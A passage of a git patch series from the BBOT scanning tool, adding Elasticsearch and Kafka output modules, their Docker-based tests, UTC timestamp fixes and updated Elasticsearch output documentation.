Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() + event_reconstituted = BaseEvent.from_json(event_pydantic_dict) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) assert isinstance(event_pydantic.timestamp, datetime) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) - assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) == event_json + + event_pydantic_dict = event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host", "inserted_at"]) + assert event_pydantic_dict == event_json + event_pydantic_dict.pop("scan") + event_pydantic_dict.pop("module") + event_pydantic_dict.pop("module_sequence") + assert event_reconstituted.json() == event_pydantic_dict # TODO: SQL diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index a940dbce06..faadbdaae9 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -494,7 +494,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.replace(tzinfo=None).timestamp() + timestamp = db_event.timestamp.timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index fcfed7841a..ac28e64e7b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -129,7 +129,17 @@ async def check(self, module_test, events): db_scans = await cursor.to_list(length=None) assert len(db_scans) == 1, "There should be exactly one scan" db_scan = db_scans[0] - assert db_scan["scan"]["id"] == main_event["scan"], "Scan id should match main event scan" + assert db_scan["id"] == main_event["scan"], "Scan id should match main event scan" + + ### TARGETS ### + + # Fetch all targets from the collection + cursor = db.get_collection(self.test_collection_prefix + "targets").find({}) + db_targets = await cursor.to_list(length=None) + assert len(db_targets) == 1, "There should be exactly one target" + db_target = db_targets[0] + scan_event = next(e for e in events if e.type == "SCAN") + assert db_target["hash"] == scan_event.data["target"]["hash"], "Target hash should match scan target hash" finally: # Clean up: Delete all documents in the collection diff --git a/bbot/test/test_step_2/module_tests/test_module_sqlite.py b/bbot/test/test_step_2/module_tests/test_module_sqlite.py index ec80b7555d..7970627b15 100644 --- a/bbot/test/test_step_2/module_tests/test_module_sqlite.py +++ b/bbot/test/test_step_2/module_tests/test_module_sqlite.py @@ -8,6 +8,8 @@ class TestSQLite(ModuleTestBase): def check(self, module_test, events): sqlite_output_file = module_test.scan.home / "output.sqlite" assert sqlite_output_file.exists(), "SQLite output file not found" + + # first connect with raw sqlite with sqlite3.connect(sqlite_output_file) as db: cursor = db.cursor() results = cursor.execute("SELECT * FROM event").fetchall() @@ -16,3 +18,15 @@ def check(self, module_test, events): assert len(results) == 1, "No scans found in SQLite database" results = cursor.execute("SELECT * FROM target").fetchall() assert len(results) == 1, "No targets found in SQLite database" + + # then connect with bbot models + from bbot.models.sql import Event + from sqlmodel import create_engine, Session, select + + engine = create_engine(f"sqlite:///{sqlite_output_file}") + + with Session(engine) as session: + statement = select(Event).where(Event.host == "evilcorp.com") + event = session.exec(statement).first() + assert event.host == "evilcorp.com", "Event host should match target host" + assert event.data == "evilcorp.com", "Event data should match target host" From 414d26970c2503509839614f97aa2f9a4726bbfa Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:02:48 -0500 Subject: [PATCH 032/912] flaked --- bbot/models/helpers.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index c7fc078a45..47959ad4ac 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,7 +1,5 @@ from datetime import UTC from datetime import datetime -from typing_extensions import Annotated -from pydantic.functional_validators import AfterValidator def utc_datetime_validator(d: datetime) -> datetime: From 7a24be69be3d8f185ade48915bef7f6b30c4604b Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:41:45 -0500 Subject: [PATCH 033/912] fix tests --- bbot/core/event/base.py | 7 ++++++- bbot/test/test_step_1/test_bbot_fastapi.py | 4 ++-- bbot/test/test_step_1/test_db_models.py | 8 ++++---- bbot/test/test_step_1/test_scan.py | 2 +- bbot/test/test_step_2/module_tests/test_module_json.py | 8 ++++---- bbot/test/test_step_2/module_tests/test_module_splunk.py | 2 +- 6 files changed, 18 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 64595680ae..dd751012a9 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1759,7 +1759,12 @@ def event_from_json(j): "context": j.get("discovery_context", None), "dummy": True, } - data = j.get("data_json", j.get("data", None)) + data = j.get("data_json", None) + if data is None: + data = j.get("data", None) + if data is None: + json_pretty = json.dumps(j, indent=2) + raise ValueError(f"data or data_json must be provided. JSON: {json_pretty}") kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index bad4020712..617f95abbf 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -28,7 +28,7 @@ def test_bbot_multiprocess(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any([e["data"] == "test@blacklanternsecurity.com" for e in events]) + assert any([e.get("data", "") == "test@blacklanternsecurity.com" for e in events]) def test_bbot_fastapi(bbot_httpserver): @@ -61,7 +61,7 @@ def test_bbot_fastapi(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any([e["data"] == "test@blacklanternsecurity.com" for e in events]) + assert any([e.get("data", "") == "test@blacklanternsecurity.com" for e in events]) finally: with suppress(Exception): diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index a8088be4f2..c29cc09a4f 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -18,12 +18,12 @@ def test_pydantic_models(events): utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() - assert Event._datetime_fields() == ["inserted_at", "timestamp"] - test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ + "data", "host", "id", + "inserted_at", "module", "parent", "parent_uuid", @@ -40,10 +40,10 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_reconstituted = BaseEvent.from_json(event_pydantic_dict) + event_reconstituted = BaseEvent.from_json(event_pydantic.model_dump(exclude_none=True)) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) - assert isinstance(event_pydantic.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, float) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index f5f8458262..5514571fa8 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -144,7 +144,7 @@ async def test_python_output_matches_json(bbot_scanner): assert len(events) == 5 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert all([isinstance(e["data"]["status"], str) for e in scan_events]) + assert all([isinstance(e["data_json"]["status"], str) for e in scan_events]) assert len([e for e in events if e["type"] == "DNS_NAME"]) == 1 assert len([e for e in events if e["type"] == "ORG_STUB"]) == 1 assert len([e for e in events if e["type"] == "IP_ADDRESS"]) == 1 diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index bf79eeb13f..3641574213 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -23,13 +23,13 @@ def check(self, module_test, events): assert len(dns_json) == 1 dns_json = dns_json[0] scan = scan_json[0] - assert scan["data"]["name"] == module_test.scan.name - assert scan["data"]["id"] == module_test.scan.id + assert scan["data_json"]["name"] == module_test.scan.name + assert scan["data_json"]["id"] == module_test.scan.id assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data"]["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["whitelist"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_splunk.py b/bbot/test/test_step_2/module_tests/test_module_splunk.py index d55ed17c27..eef148944c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_splunk.py +++ b/bbot/test/test_step_2/module_tests/test_module_splunk.py @@ -23,7 +23,7 @@ def verify_data(self, j): if not j["index"] == "bbot_index": return False data = j["event"] - if not data["data"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": + if not data["data_json"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": return False return True From cc89f77f0902a091c490a69632e1f85a4ce0737a Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 21:19:07 -0500 Subject: [PATCH 034/912] fix utc bug --- bbot/scanner/scanner.py | 7 ++++--- bbot/test/test_step_1/test_db_models.py | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index a5b04bc2c7..0915c4cb91 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,8 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime, UTC +from datetime import datetime +from zoneinfo import ZoneInfo from collections import OrderedDict from bbot import __version__ @@ -327,7 +328,7 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now(UTC) + self.start_time = datetime.now(ZoneInfo("UTC")) self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +437,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now(UTC) + self.end_time = datetime.now(ZoneInfo("UTC")) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index c29cc09a4f..9c71390696 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,4 +1,4 @@ -from datetime import datetime, UTC +from datetime import datetime from zoneinfo import ZoneInfo from bbot.models.pydantic import Event @@ -13,7 +13,7 @@ def test_pydantic_models(events): now = datetime.now(ZoneInfo("America/New_York")) utc_now = utc_datetime_validator(now) assert now.timestamp() == utc_now.timestamp() - now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + now2 = datetime.fromtimestamp(utc_now.timestamp(), ZoneInfo("UTC")) assert now2.timestamp() == utc_now.timestamp() utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() From 059607c61ce2f7e69cd8997cc2eb0f835a80c04c Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:32:32 -0500 Subject: [PATCH 035/912] fix tests --- bbot/models/helpers.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 47959ad4ac..b94bc976cc 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,5 +1,5 @@ -from datetime import UTC from datetime import datetime +from zoneinfo import ZoneInfo def utc_datetime_validator(d: datetime) -> datetime: @@ -7,13 +7,13 @@ def utc_datetime_validator(d: datetime) -> datetime: Converts all dates into UTC """ if d.tzinfo is not None: - return d.astimezone(UTC) + return d.astimezone(ZoneInfo("UTC")) else: - return d.replace(tzinfo=UTC) + return d.replace(tzinfo=ZoneInfo("UTC")) def utc_now() -> datetime: - return datetime.now(UTC) + return datetime.now(ZoneInfo("UTC")) def utc_now_timestamp() -> datetime: From d9cccf59bc96f33ca2a51710b459aa91bcaa2dbb Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:30:39 -0500 Subject: [PATCH 036/912] elastic module --- bbot/modules/output/elastic.py | 22 +++ bbot/modules/output/http.py | 6 +- .../module_tests/test_module_elastic.py | 130 ++++++++++++++++++ docs/scanning/output.md | 25 ++-- 4 files changed, 171 insertions(+), 12 deletions(-) create mode 100644 bbot/modules/output/elastic.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_elastic.py diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py new file mode 100644 index 0000000000..15bc023df8 --- /dev/null +++ b/bbot/modules/output/elastic.py @@ -0,0 +1,22 @@ +from .http import HTTP + + +class Elastic(HTTP): + watched_events = ["*"] + metadata = { + "description": "Send scan results to Elasticsearch", + "created_date": "2022-11-21", + "author": "@TheTechromancer", + } + options = { + "url": "", + "username": "elastic", + "password": "changeme", + "timeout": 10, + } + options_desc = { + "url": "Elastic URL (e.g. https://localhost:9200//_doc)", + "username": "Elastic username", + "password": "Elastic password", + "timeout": "HTTP timeout", + } diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 7d94148d72..0af65a87d2 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,3 +1,4 @@ +from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -48,12 +49,15 @@ async def setup(self): async def handle_event(self, event): while 1: + event_json = event.json() + event_pydantic = Event(**event_json) + event_json = event_pydantic.model_dump(exclude_none=True) response = await self.helpers.request( url=self.url, method=self.method, auth=self.auth, headers=self.headers, - json=event.json(), + json=event_json, ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py new file mode 100644 index 0000000000..710c22e0f0 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -0,0 +1,130 @@ +import time +import httpx +import asyncio + +from .base import ModuleTestBase + + +class TestElastic(ModuleTestBase): + config_overrides = { + "modules": { + "elastic": { + "url": "https://localhost:9200/bbot_test_events/_doc", + "username": "elastic", + "password": "bbotislife", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Elasticsearch container + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-elastic", + "--rm", + "-e", + "ELASTIC_PASSWORD=bbotislife", + "-e", + "cluster.routing.allocation.disk.watermark.low=96%", + "-e", + "cluster.routing.allocation.disk.watermark.high=97%", + "-e", + "cluster.routing.allocation.disk.watermark.flood_stage=98%", + "-p", + "9200:9200", + "-d", + "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", + ) + + # Connect to Elasticsearch with retry logic + async with httpx.AsyncClient(verify=False) as client: + while True: + try: + # Attempt a simple operation to confirm the connection + response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) + response.raise_for_status() + break + except Exception as e: + print(f"Connection failed: {e}. Retrying...", flush=True) + time.sleep(0.5) + + # Ensure the index is empty + await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + print("Elasticsearch index cleaned up", flush=True) + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to Elasticsearch + async with httpx.AsyncClient(verify=False) as client: + + # refresh the index + await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) + + # Fetch all events from the index + response = await client.get( + f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") + ) + response_json = response.json() + import json + + print(f"response: {json.dumps(response_json, indent=2)}") + db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert ( + main_event is not None + ), "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Events don't match exactly because the elastic ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + db_event.pop("inserted_at") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the index + async with httpx.AsyncClient(verify=False) as client: + response = await client.delete( + f"https://localhost:9200/bbot_test_events", + auth=("elastic", "bbotislife"), + params={"ignore": "400,404"}, + ) + print(f"Deleted documents from index", flush=True) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/docs/scanning/output.md b/docs/scanning/output.md index dd45a5c833..16cfbd3593 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -155,15 +155,20 @@ config: ### Elasticsearch -When outputting to Elastic, use the `http` output module with the following settings (replace `` with your desired index, e.g. `bbot`): +- Step 1: Spin up a quick Elasticsearch docker image + +```bash +docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 +``` + +- Step 2: Execute a scan with `elastic` output module ```bash # send scan results directly to elasticsearch -bbot -t evilcorp.com -om http -c \ - modules.http.url=http://localhost:8000//_doc \ - modules.http.siem_friendly=true \ - modules.http.username=elastic \ - modules.http.password=changeme +# note: you can replace "bbot_events" with your own index name +bbot -t evilcorp.com -om elastic -c \ + modules.elastic.url=https://localhost:9200/bbot_events/_doc \ + modules.elastic.password=bbotislife ``` Alternatively, via a preset: @@ -171,11 +176,9 @@ Alternatively, via a preset: ```yaml title="elastic_preset.yml" config: modules: - http: - url: http://localhost:8000//_doc - siem_friendly: true - username: elastic - password: changeme + elastic: + url: http://localhost:9200/bbot_events/_doc + password: bbotislife ``` ### Splunk From 189d7257c124c288740a24fa8c11cab9297318b1 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 23 Nov 2024 12:19:16 -0500 Subject: [PATCH 037/912] fix conflict --- bbot/models/pydantic.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 356ab2e44c..07534937a2 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -93,7 +93,6 @@ def get_data(self): ### SCAN ### - class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -117,7 +116,6 @@ def from_scan(cls, scan): ### TARGET ### - class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False From 59177c45e14be99c6cf1bf8c2143cff6530d494e Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:30:05 -0500 Subject: [PATCH 038/912] new module: kafka --- bbot/core/event/base.py | 2 +- bbot/modules/output/elastic.py | 14 ++- bbot/modules/output/kafka.py | 42 +++++++ bbot/scanner/scanner.py | 6 +- .../module_tests/test_module_elastic.py | 9 +- .../module_tests/test_module_kafka.py | 108 ++++++++++++++++++ 6 files changed, 167 insertions(+), 14 deletions(-) create mode 100644 bbot/modules/output/kafka.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kafka.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 76802dac81..05f1a91271 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -814,7 +814,7 @@ def json(self, mode="json"): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - j.update({"tags": list(self.tags)}) + j.update({"tags": sorted(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 15bc023df8..42c331c516 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -2,6 +2,10 @@ class Elastic(HTTP): + """ + docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 + """ + watched_events = ["*"] metadata = { "description": "Send scan results to Elasticsearch", @@ -9,9 +13,9 @@ class Elastic(HTTP): "author": "@TheTechromancer", } options = { - "url": "", + "url": "https://localhost:9200/bbot_events/_doc", "username": "elastic", - "password": "changeme", + "password": "bbotislife", "timeout": 10, } options_desc = { @@ -20,3 +24,9 @@ class Elastic(HTTP): "password": "Elastic password", "timeout": "HTTP timeout", } + + async def cleanup(self): + # refresh the index + doc_regex = self.helpers.re.compile(r"/[^/]+$") + refresh_url = doc_regex.sub("/_refresh", self.url) + await self.helpers.request(refresh_url, auth=self.auth) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py new file mode 100644 index 0000000000..5b2db13d60 --- /dev/null +++ b/bbot/modules/output/kafka.py @@ -0,0 +1,42 @@ +import json +from aiokafka import AIOKafkaProducer + +from bbot.modules.output.base import BaseOutputModule + + +class Kafka(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a Kafka topic", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + options_desc = { + "bootstrap_servers": "A comma-separated list of Kafka server addresses", + "topic": "The Kafka topic to publish events to", + } + deps_pip = ["aiokafka~=0.12.0"] + + async def setup(self): + self.bootstrap_servers = self.config.get("bootstrap_servers", "localhost:9092") + self.topic = self.config.get("topic", "bbot_events") + self.producer = AIOKafkaProducer(bootstrap_servers=self.bootstrap_servers) + + # Start the producer + await self.producer.start() + self.verbose("Kafka producer started successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + await self.producer.send_and_wait(self.topic, event_data) + + async def cleanup(self): + # Stop the producer + await self.producer.stop() + self.verbose("Kafka producer stopped successfully") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2602fa776c..8e99f104dd 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -865,15 +865,15 @@ async def _cleanup(self): if not self._cleanedup: self._cleanedup = True self.status = "CLEANING_UP" + # clean up modules + for mod in self.modules.values(): + await mod._cleanup() # clean up dns engine if self.helpers._dns is not None: await self.helpers.dns.shutdown() # clean up web engine if self.helpers._web is not None: await self.helpers.web.shutdown() - # clean up modules - for mod in self.modules.values(): - await mod._cleanup() with contextlib.suppress(Exception): self.home.rmdir() self.helpers.clean_old_scans() diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 710c22e0f0..2f8891a640 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,12 +48,11 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - print(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) time.sleep(0.5) # Ensure the index is empty await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) - print("Elasticsearch index cleaned up", flush=True) async def check(self, module_test, events): try: @@ -65,17 +64,11 @@ async def check(self, module_test, events): # Connect to Elasticsearch async with httpx.AsyncClient(verify=False) as client: - # refresh the index - await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) - # Fetch all events from the index response = await client.get( f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") ) response_json = response.json() - import json - - print(f"response: {json.dumps(response_json, indent=2)}") db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] # make sure we have the same number of events diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py new file mode 100644 index 0000000000..6a81173561 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -0,0 +1,108 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestKafka(ModuleTestBase): + config_overrides = { + "modules": { + "kafka": { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Zookeeper + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-zookeeper", "-p", "2181:2181", "zookeeper:3.9" + ) + + # Wait for Zookeeper to be ready + while True: + try: + # Attempt to connect to Zookeeper with a timeout + reader, writer = await asyncio.wait_for(asyncio.open_connection("localhost", 2181), timeout=0.5) + break # Exit the loop if the connection is successful + except Exception as e: + self.log.verbose(f"Waiting for Zookeeper to be ready: {e}") + await asyncio.sleep(0.5) # Wait a bit before retrying + finally: + with suppress(Exception): + writer.close() + await writer.wait_closed() + + # Start Kafka using wurstmeister/kafka + await asyncio.create_subprocess_exec( + "docker", + "run", + "-d", + "--rm", + "--name", + "bbot-test-kafka", + "--link", + "bbot-test-zookeeper:zookeeper", + "-e", + "KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181", + "-e", + "KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092", + "-e", + "KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092", + "-e", + "KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1", + "-p", + "9092:9092", + "wurstmeister/kafka", + ) + + from aiokafka import AIOKafkaConsumer + + # Wait for Kafka to be ready + while True: + try: + self.consumer = AIOKafkaConsumer( + "bbot_events", + bootstrap_servers="localhost:9092", + group_id="test_group", + ) + await self.consumer.start() + break # Exit the loop if the consumer starts successfully + except Exception as e: + self.log.verbose(f"Waiting for Kafka to be ready: {e}") + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + await asyncio.sleep(0.5) # Wait a bit before retrying + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from Kafka + kafka_events = [] + async for msg in self.consumer: + event_data = json.loads(msg.value.decode("utf-8")) + kafka_events.append(event_data) + if len(kafka_events) >= len(events_json): + break + + kafka_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == kafka_events, "Events do not match" + + finally: + # Clean up: Stop the Kafka consumer + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + # Stop Kafka and Zookeeper containers + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From cb9bca2a5c0256f8209eb43df0f2ebecc91aae83 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:56:45 -0500 Subject: [PATCH 039/912] fix elastic tests --- bbot/test/test_step_2/module_tests/test_module_elastic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 2f8891a640..db9f2359f7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,7 +48,7 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Ensure the index is empty @@ -117,7 +117,7 @@ async def check(self, module_test, events): auth=("elastic", "bbotislife"), params={"ignore": "400,404"}, ) - print(f"Deleted documents from index", flush=True) + self.log.verbose(f"Deleted documents from index") await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) From a0fc76a6f9a6f0d6438f58bd52b15677f6c31164 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:29 -0500 Subject: [PATCH 040/912] better error handling in module --- bbot/modules/output/kafka.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 5b2db13d60..0c28075450 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -34,7 +34,12 @@ async def setup(self): async def 